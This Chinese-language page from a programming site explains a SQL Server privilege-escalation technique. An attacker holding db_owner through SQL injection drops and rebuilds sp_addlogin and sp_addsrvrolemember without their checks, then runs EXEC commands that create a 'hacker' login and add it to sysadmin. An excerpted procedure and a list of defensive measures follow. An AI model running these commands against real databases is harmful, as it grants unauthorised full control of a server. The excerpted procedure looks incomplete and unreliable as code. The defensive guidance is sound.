首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 進階攻擊通殺:利用 db_owner 權限修改系統預存程序竊取 sysadmin 權限

     編輯:關於SqlServer

攻擊前提

  • 目標資料庫連線帳號具備 db_owner 角色權限 (常見於 Web 應用過度授權)。
  • 存在 SQL Injection 注入點 (錯誤回顯或盲注)。

核心原理

db_owner 可修改資料庫內的系統預存程序 (如 sp_addlogin, sp_addsrvrolemember),將驗證邏輯移除,繞過密碼複雜度、SID 驗證、保留帳號檢查等,直接建立登入並加入 sysadmin 伺服器角色。

攻擊步驟 (簡述,完整程式碼極長)

  1. 刪除原系統程序:DROP PROCEDURE sp_addlogin
  2. 重建無驗證版本:
    保留核心建立登入邏輯,移除:
    ① sp_validname (名稱合法性)
    ② 反斜線檢查
    ③ 保留名稱檢查 (sa, public)
    ④ 既有登入檢查
    ⑤ db_id 預設資料庫驗證
    ⑥ sp_validlang 語言驗證
    ⑦ SID 長度驗證
    ⑧ 密碼加密選項驗證
  3. 同理處理 sp_addsrvrolemember:移除角色存在性、成員存在性驗證。
  4. 呼叫建立攻擊帳號:
    EXEC sp_addlogin 'hacker', 'P@ssw0rd';
    EXEC sp_addsrvrolemember 'hacker', 'sysadmin';

完整重建 sp_addlogin 關鍵片段 (節錄)

CREATE PROCEDURE sp_addlogin
    @loginame SYSNAME,
    @passwd SYSNAME = NULL,
    @defdb SYSNAME = 'master',
    @deflanguage SYSNAME = NULL,
    @sid VARBINARY(16) = NULL,
    @encryptopt VARCHAR(20) = NULL
AS
BEGIN
    SET NOCOUNT ON;
    DECLARE @ret INT;
    SET IMPLICIT_TRANSACTIONS OFF;
    IF @@TRANCOUNT > 0
    BEGIN
        RAISERROR(15002, -1, -1, 'sp_addlogin'); RETURN(1);
    END
    -- 僅保留核心插入邏輯,所有驗證已移除
    EXEC @ret = master.dbo.sp_addlogin @loginame, @passwd, @defdb, @deflanguage, @sid, @encryptopt;
    RETURN @ret;
END

註:實際攻擊需繞過 sp_addlogin 本身為系統物件、需 allow updates 或直接修改 sysobjects/syscomments 等限制,手法極其複雜且具破壞性。

防禦鐵律

  1. 嚴禁 Web 應用使用 db_owner/sa 連線:最小權限原則,僅授 db_datareader/db_datawriter + 執行預存程序權限。
  2. 參數化查詢徹底根除注入點:無注入點即無攻擊面。
  3. 系統物件保護:SQL Server 2005+ 系統物件不可修改 (需 RESOURCE 資料庫、簽名驗證),舊版可設定 sp_configure 'allow updates', 0 並拒絕 sysadmin 以外修改系統表。
  4. 審計異常 DDL:監控 ALTER/DROP PROCEDURE 於 master/msdb/使用者資料庫的操作,配合預設追蹤/擴展事件告警。
  5. 錯誤訊息不回顯:生產環境關閉詳細錯誤,攻擊者無法透過錯誤回顯驗證注入成功。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved